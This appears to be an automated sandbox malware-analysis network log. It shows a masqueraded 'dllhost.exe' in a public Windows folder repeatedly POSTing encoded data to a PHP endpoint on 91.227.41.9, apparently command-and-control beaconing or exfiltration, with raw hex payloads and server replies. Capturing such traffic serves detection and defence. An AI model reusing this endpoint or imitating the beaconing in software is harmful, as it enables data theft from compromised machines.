                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      69192.168.2.44992391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:48.763267040 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:49.109158039 CET2536OUTData Raw: 59 5b 43 5c 5d 43 50 5f 54 57 5b 51 55 5c 59 5f 50 53 5a 58 56 5d 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[C\]CP_TW[QU\Y_PSZXV]W_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'3:=)#(<C&0?Q<77$!,U?:$""8_(&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:28:50.115772009 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:50.349324942 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:49 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      70192.168.2.44992991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:50.586939096 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:50.937194109 CET2536OUTData Raw: 59 5a 43 53 58 45 50 5e 54 57 5b 51 55 59 59 58 50 5b 5a 58 56 56 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCSXEP^TW[QUYYXP[ZXVVWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'[$.:+: Y4#Y+C90+W+7\#P#0;?#!X+&\"'Z,,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      71192.168.2.44993391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:51.590919971 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:51.938962936 CET1860OUTData Raw: 59 5a 43 54 58 40 50 59 54 57 5b 51 55 59 59 5d 50 5d 5a 58 56 5d 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCTX@PYTW[QUYY]P]ZXV]W]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$&=:(9/#6 (5$?U+?4:/60 W+9<Y"(Y+&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:28:52.859554052 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:53.093272924 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:52 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 39 1c 25 35 20 02 29 0d 2d 1b 2b 12 06 04 2d 59 38 5c 3c 1e 07 58 32 58 27 56 25 06 0b 09 28 3e 2c 05 33 32 04 0f 24 19 3f 1e 3d 02 2f 58 07 1c 24 01 2b 28 27 13 25 33 26 5f 3e 32 2f 11 25 03 12 17 24 2d 3c 5a 30 0d 0e 5a 3c 1d 3a 0c 31 3b 3d 16 29 3b 06 5e 2f 37 30 1c 35 0e 23 53 08 11 25 1b 27 1f 28 5d 26 06 3b 02 35 0d 08 1c 27 38 3f 55 28 2c 01 00 3f 20 2d 5a 3c 31 0c 56 24 54 3f 0a 33 59 3f 07 27 20 29 0b 24 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: 9%5 )-+-Y8\<X2X'V%(>,32$?=/X$+('%3&_>2/%$-<Z0Z<:1;=);^/705#S%'(]&;5'8?U(,? -Z<1V$T?3Y?' )$*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      72192.168.2.44993691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:51.727530956 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:52.077742100 CET2536OUTData Raw: 59 53 43 53 5d 44 50 5f 54 57 5b 51 55 5a 59 5e 50 59 5a 5a 56 54 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YSCS]DP_TW[QUZY^PYZZVTW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$3.%Y<? 5$<.$,+V?_ #7Q#0'+'!"<^??&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:53.001068115 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:53.255855083 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:52 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      73192.168.2.44993891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:53.494952917 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:28:53.843347073 CET2536OUTData Raw: 5c 5e 46 54 58 41 55 59 54 57 5b 51 55 5b 59 5f 50 5d 5a 5a 56 5c 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FTXAUYTW[QU[Y_P]ZZV\W[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$>"?) S7Y*%'W(* !9<5V<,]6,*/&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:28:54.819087029 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:55.053118944 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:54 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      74192.168.2.44994391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:55.367587090 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:55.740164042 CET2536OUTData Raw: 59 5a 46 54 58 4b 50 58 54 57 5b 51 55 59 59 5c 50 58 5a 5d 56 55 57 59 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZFTXKPXTW[QUYY\PXZ]VUWYX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_&..<,X#3_(>3/'?0\ *##?+;!^<&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:28:56.636982918 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:56.869162083 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:56 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      75192.168.2.44994991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:57.119997025 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2532
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:57.468420029 CET2532OUTData Raw: 5c 5e 43 51 58 40 50 5b 54 57 5b 51 55 58 59 55 50 5b 5a 51 56 50 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CQX@P[TW[QUXYUP[ZQVPW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'0-(*$75*5*$,<()3 #"<)8" +&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      76192.168.2.44995191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:58.231175900 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1836
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:58.596565962 CET1836OUTData Raw: 59 52 43 57 58 42 55 59 54 57 5b 51 55 5d 59 5f 50 5e 5a 58 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YRCWXBUYTW[QU]Y_P^ZXVWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z'.9_=9+#5??%:'<$<)0#)?# <U?060+&\"'Z,<
                                                                                                                                      Dec 9, 2024 00:28:59.497806072 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:28:59.752857924 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:59 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 0d 25 36 0d 59 3e 30 39 55 3c 3f 3b 14 39 01 24 58 3f 30 03 5e 26 3e 06 0c 26 5e 2d 09 3c 3e 09 5d 33 54 2e 09 27 37 27 50 3d 12 2f 58 07 1c 27 5a 3c 05 2f 10 25 55 2d 04 2a 31 23 13 26 04 34 5c 30 3e 3b 00 24 20 28 5a 3c 33 3d 55 27 28 04 09 3f 38 30 5a 3a 27 30 54 35 0e 23 53 08 11 26 08 27 31 38 5c 26 3f 2c 13 22 23 2e 51 27 2b 3b 1c 28 2c 24 5e 28 1d 3e 00 28 22 2d 0b 30 31 24 52 24 3c 37 04 33 30 29 0f 24 2a 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :%6Y>09U<?;9$X?0^&>&^-<>]3T.'7'P=/X'Z</%U-*1#&4\0>;$ (Z<3=U'(?80Z:'0T5#S&'18\&?,"#.Q'+;(,$^(>("-01$R$<730)$*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      77192.168.2.44995491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:28:58.528883934 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2528
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:28:58.874617100 CET2528OUTData Raw: 5c 5e 46 56 58 46 55 5a 54 57 5b 51 55 58 59 5c 50 53 5a 5b 56 54 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^FVXFUZTW[QUXY\PSZ[VTWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'^0>!\+[4'^(C%' )*(]7:;V!,T(_0Y6"8Z(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:28:59.825330973 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:00.061249971 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:28:59 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      78192.168.2.44995891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:00.308398962 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:29:00.658987999 CET2536OUTData Raw: 59 5a 43 55 58 45 55 5d 54 57 5b 51 55 59 59 58 50 5f 5a 5a 56 56 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCUXEU]TW[QUYYXP_ZZVVW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z$)\?:<[ ;<C.$?<?:'7:5V0(*35W0(&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:29:01.580657959 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:01.813222885 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:01 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      79192.168.2.44996391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:02.054265976 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:02.405972958 CET2536OUTData Raw: 5c 58 43 53 58 47 50 5b 54 57 5b 51 55 5c 59 55 50 5c 5a 5b 56 5c 57 5d 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \XCSXGP[TW[QU\YUP\Z[V\W]X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'_&."+<7%4(6"07+$[#9;"8(,61^+?&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:29:03.341356039 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:03.577068090 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:03 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      80192.168.2.44996991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:03.816766977 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:04.171534061 CET2536OUTData Raw: 5c 5f 46 53 5d 44 50 5f 54 57 5b 51 55 51 59 59 50 5a 5a 5e 56 51 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \_FS]DP_TW[QUQYYPZZ^VQWRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'&-!?)#S#+C=&<#+8Y '! ,P<* Y68<&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      81192.168.2.44997191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:29:04.886024952 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:29:05.233988047 CET1860OUTData Raw: 59 5b 46 53 58 43 55 5f 54 57 5b 51 55 5a 59 59 50 53 5a 5d 56 5d 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[FSXCU_TW[QUZYYPSZ]V]W_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$[!<^#&'^(%$,$(Y79<50 P<98]5(&\"'Z,
                                                                                                                                      Dec 9, 2024 00:29:06.171403885 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:29:06.405232906 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:29:05 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
